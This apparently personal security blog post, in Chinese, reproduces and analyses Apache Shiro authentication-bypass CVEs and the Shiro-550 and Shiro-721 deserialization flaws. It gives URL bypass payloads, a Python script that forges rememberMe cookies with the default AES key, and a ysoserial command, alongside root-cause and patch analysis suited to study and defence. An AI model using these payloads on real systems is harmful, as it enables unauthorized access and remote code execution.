0%

Shiro Vulnerability

权限绕过

环境搭建

基于此源码:https://github.com/l3yx/springboot-shiro

导入idea,application.properties添加

1
server.servlet.context-path=/test

因为pom.xml里排除了springboot内置的tomcat,新建Configurations->Tomcat Server,添加新的deployment,并设置context为/test,然后运行即可

image-20210521160532545

Shiro基础

Shiro验证

1
2
anon 不需要验证,可以直接访问
authc 需要验证,也就是我们需要bypass的地方

Shiro的URL路径表达式为Ant格式

1
2
3
4
/hello 只匹配url http://demo.com/hello
/h? 只匹配url http://demo.com/h+任意一个字符
/hello/* 匹配url下 http://demo.com/hello/xxxx的任意内容,不匹配多个路径
/hello/** 匹配url下 http://demo.com/hello/xxxx/aaaa的任意内容,匹配多个路径

CVE-2020-1957

影响范围

  • Apache Shiro < 1.5.2

漏洞复现

这里需要在pom.xml里面修改shiro版本为1.5.1,而且spring-boot的版本记得改为:1.5.22.RELEASE,原因具体可以查看:

https://www.anquanke.com/post/id/240033#h3-5

同时因为版本问题,SrpingbootShiroApplication.java 里这个类名需要改成如下,然后启动tomcat即可image-20210616102024338

POC:

1
/test/a;/../admin/page

直接访问302

image-20210616103708415

绕过

image-20210616103732111

漏洞分析

这里需要前置知识Tomcat URL解析差异性导致的安全问题,总结就是

Tomcat对请求路径中/;xxx/以及/./的处理是包容的、对/../会进行跨目录拼接处理

调试tomcat逻辑需要在pom.xml里添加依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.37</version>
</dependency>

定位到1.5.2版本修改的文件 org\apache\shiro\web\util\WebUtils.java,里面getRequestUri函数调用的是request.getRequestURI处理,对于POC,此时uri和POC相同,即/test/a;/../admin/page

image-20210616204018948

decodeAndCleanUriString函数则是对含有;的路径进行处理,直接忽略掉;和其之后的部分,对于POC,返回/test/a

image-20210616204343806

normalize函数会对uri进行规范化处理,处理掉/.//../,这里对POC没有什么影响

return完之后进入getPathWithinApplication函数,去除掉ContextPath,对于POC返回/a

image-20210616204917915

然后进入Shiro匹配逻辑,取出config中定义规则,验证是否匹配,/a显然不满足/admin/*,不需要验证

image-20210616205117358

Shiro验证绕过之后来到了Spring-boot解析,这个版本会调用tomcat的getServletPath,对/;xxx/以及/./有包容性,POC对于tomcat来说就相当于是/test/admin/page,于是能正常访问

总结漏洞产生的原因,Shiro调用request的getRequestURI获取到请求的地址之后,使用自身编写的逻辑去处理判断,没有考虑到tomcat解析兼容的差异性

漏洞修复

diff 1.5.1 和 1.5.2 的代码,这里主要使用request.getServletPath来获取请求的路径,而其是tomcat内置,会考虑到对/;xxx/以及/./的包容性,那么对于POC,getServletPath返回/admin/page,自然通不过验证,即Shiro主动去兼容tomcat

image-20210616210233039

CVE-2020-11989

影响范围

  • Apache Shiro < 1.5.3

漏洞复现

第一种方式:

1
/;/test/admin/page

image-20210617110209365

第二种方式:

为了复现第二种方式,需要添加一个controller

1
2
3
4
@GetMapping("/admin/{name}")
public String hello(@PathVariable String name){
return "Hello " + name;
}

POC

1
/test/admin/w%25%32%66orld 或 /test/admin/w%252forld

%25%32%66%252f/ 的二次url编码

image-20210617110601327

漏洞分析

https://xz.aliyun.com/t/7964

https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/

第一种绕过方式比较通用,这里以第一种进行分析。在上一个我们提到Shiro验证是再getChain函数,获取到请求路径后,和config中配置进行对比

image-20210617112247406

获取请求路径是在getPathWithinApplication函数,getPathWithinApplication作用也说过,去掉请求中的ContextPath

image-20210617112928238

关键就在于getRequestUri函数,normalize是规范化/.//../

image-20210617142806155

decodeAndCleanUriString先进行一次url解码,然后注意59是;的ascii码,这里遇到;的处理逻辑是,直接忽略;及以后,那么对于POC1,这里获取到的路径就是/,可以绕过Shiro验证

image-20210617143200521

第二种方式主要是解码和匹配的问题,decodeAndCleanUriString还会进行一次url解码,%25%32%66会还原成//admin/w/orld不满足/admin/*(注意/admin/*只匹配一个路径,不匹配多个),所以绕过

漏洞修复

getServletPath和getPathInfo使用request方法获取路径和信息,会处理掉;..等,同时没有了二次解码

image-20210617170425647

image-20210617170504979

xq17师傅还提到如果getPathInfo可以引入;,那么也是可以继续绕过的,遗憾的是我在调试的时候一直没找到getServletPath在哪一段可以引入,希望知道的师傅可以指导一下

同时上个版本的修复又改回去了

image-20210617170836320

CVE-2020-13933

影响范围

  • Apache Shiro < 1.6.0

漏洞复现

Shiro 1.5.3版本

1
<dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-web</artifactId>            <version>1.5.3</version>        </dependency>        <dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-spring</artifactId>            <version>1.5.3</version>        </dependency>

POC

1
/test/admin/%3bStr3am

image-20210617171413141

漏洞分析

image-20210622153740414

修复过后的getPathWithinApplication函数中getServletPath调用request.getServletPath,会进行url二次解码,POC解码为/admin/%3bStr3am,removeSemicolon会对;进行处理。POC变为/admin/

image-20210622153857408

然后这段是对Shiro-682的修复,会去掉最后的/,显然/admin不满足Shiro匹配/admin/*,所以造成bypass

漏洞修复

shiro 1.6.0版本中,针对/*这种ant风格的配置出现的问题,shiroorg.apache.shiro.spring.web.ShiroFilterFactoryBean.java中默认增加了/**的路径配置,以防止出现匹配不成功的情况。

image-20210622154355823

而默认的/**配置对应了一个新增的类org.apache.shiro.web.filter.InvalidRequestFilter进行过滤,匹配到非法字符就会直接报错,可以看到,过滤了%3b

image-20210622154520915

CVE-2020-17510

影响范围

  • Apache Shiro < 1.7.0

漏洞分析

image-20210622154935289

增加了对PathInfo的检验,修复过后,Shiro的URL校验是由ServletPath和PathInfo构成,之前CVE-2020-11989的时候提到过可以在PathInfo加入;../绕过,Spring-boot默认PathInfo为空,但在其他情况可以,利用范围有限。

CVE-2020-17523

影响范围

  • Apache Shiro < 1.7.0

漏洞复现

1
<parent>        <groupId>org.springframework.boot</groupId>        <artifactId>spring-boot-starter-parent</artifactId>        <version>2.4.5</version>        <relativePath/> <!-- lookup parent from repository -->    </parent>         <dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-web</artifactId>            <version>1.6.0</version>        </dependency>        <dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-spring</artifactId>            <version>1.6.0</version>        </dependency>

通杀版本

1
/test/admin/%20

image-20210622163001248

springboot高版本

1
/test/admin/%2e    或    /test/admin/%2e

image-20210622163112082

漏洞分析

通杀版本的绕过,其原因和%3b差不多,都是Shiro规则匹配特殊字符缺陷的原因

而针对/test/admin/%2e,request.getServletPath处理后返回/test/admin/,同样因为Shiro-682原因,会去掉最后的/导致bypass

漏洞修复

image-20210622171226555

解决空格分离的问题

image-20210622171518753

Shiro-682的修复改成了if/else判断

权限绕过总结

经过上文的分析,可以看到权限绕过基本就在于Shiro和Spring到tomcat解析URL差异性上,Shiro用自己的逻辑去判断请求的地址,但是忽略了tomcat解析包容性的问题。导致绕过Shiro判断,而Spring能够正常解析。

反序列化

CVE-2016-4437(Shiro-550)

影响范围

  • Apache Shiro < 1.2.4

环境搭建

下载Shiro并切换到漏洞版本

1
git clone https://github.com/apache/shiro.gitcd shirogit checkout shiro-root-1.2.4

pom.xml修改,添加

jstl是为了jsp正常运行,commons-collections4引入反序列化利用链

1
<dependency>    <groupId>javax.servlet</groupId>    <artifactId>jstl</artifactId>    <!--  这里需要将jstl设置为1.2 -->    <version>1.2</version>    <scope>runtime</scope></dependency> <dependency>    <groupId>org.apache.commons</groupId>    <artifactId>commons-collections4</artifactId>    <version>4.0</version></dependency>

idea导入shiro/samples/web,等待idea自动下载导入项目依赖的包

Edit Configurations 添加TomcatServer,并添加Deployment

image-20210624150056867

image-20210624150216734

然后调试运行即可

image-20210624151014898

漏洞复现

burp插件发现默认key

image-20210624154426736

rememberMe cookie生成脚本

1
import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES key  =  "kPH+bIxk5D2deZiIxcaaaA=="mode =  AES.MODE_CBCIV   = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, IV) payload=base64.b64decode(sys.argv[1])BS   = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()payload=pad(payload) print(base64.b64encode(IV + encryptor.encrypt(payload)))

yso payload生成

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc"|base64 -w0|sed ':label;N;s/\n//;b label'

然后生成用上面脚本生成cookie

1
py -3 encode.py <yso payload>

image-20210624161827948

也可以使用图形化工具,一键利用,https://github.com/feihong-cs/ShiroExploit-Deprecated

image-20210624154642996

漏洞分析

cookie生成

处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager,它继承自org.apache.shiro.mgt.AbstractRememberMeManager,其中在AbstractRememberMeManager中定义了加密cookie所需要使用的密钥,可以看到密匙是直接硬编码写死的

image-20210624171322168

成功登录时,会进入onSuccessfulLogin方法

image-20210624171437672

当rememberMe设置为on时,最后会进入两个参数的rememberIdentity函数,accountPrincipals为用户权限类型

image-20210624210040095

跟进convertPrincipalsToBytes,this.serialize调用原生序列化类序列化数据,序列化之后通过encrypt函数加密

image-20210624210359887

encrypt调用cipherService.encrypt,最终返回bytes值

image-20210624210543832

跟进cipherService.encrypt

image-20210624210709364

调试可以发现这里使用AES加密,CBC模式,填充方式为PKCS5Padding

image-20210624210742440

iv的值跟进generateInitializationVector,会发现是随机生成的16位字符

image-20210624210911168

又进入一个encrypt函数,会进入第一个if逻辑,可以看到output是由16位iv加AES密文,最后返回Util.bytes(output)

image-20210624211103305

然后回到rememberIdentity,bytes即由16位iv加AES密文构成image-20210624211317251

rememberSerializedIdentity为抽象类,在org.apache.shiro.web.mgt.CookieRememberMeManager实现,可以看到这里设置cookie为base64过后的bytes

image-20210624211520917

cookie解析

org\apache\shiro\mgt\AbstractRememberMeManager.java中getRememberedPrincipals处理rememberMe

image-20210628155257906

跟进getRememberedSerializedIdentity,base64解码rememberMe值

image-20210628155429296

继续跟进convertBytesToPrincipals

image-20210628155540222

deserialize调用默认的readObject方法

image-20210628155939610

漏洞修复

  1. 更改默认密匙
  2. 动态生成密匙,不用自己提供。官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来进行AES的密钥生成

CVE-2019-12422(Shiro-721)

影响范围

  • Apache Shiro < 1.4.2

漏洞复现

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1

然后配置好idea的tomcat就可以了

详细复现和分析可以查看,https://yinwc.github.io/2021/06/01/shiro721漏洞复现/,iv需要爆破,时间比较久就没有复现了,懒 :P

大概原理及利用Padding Oracle Attack,针对AES中的CBC加密,修改AES解密后的值为想要的内容,就可以反序列化进入garget

参考链接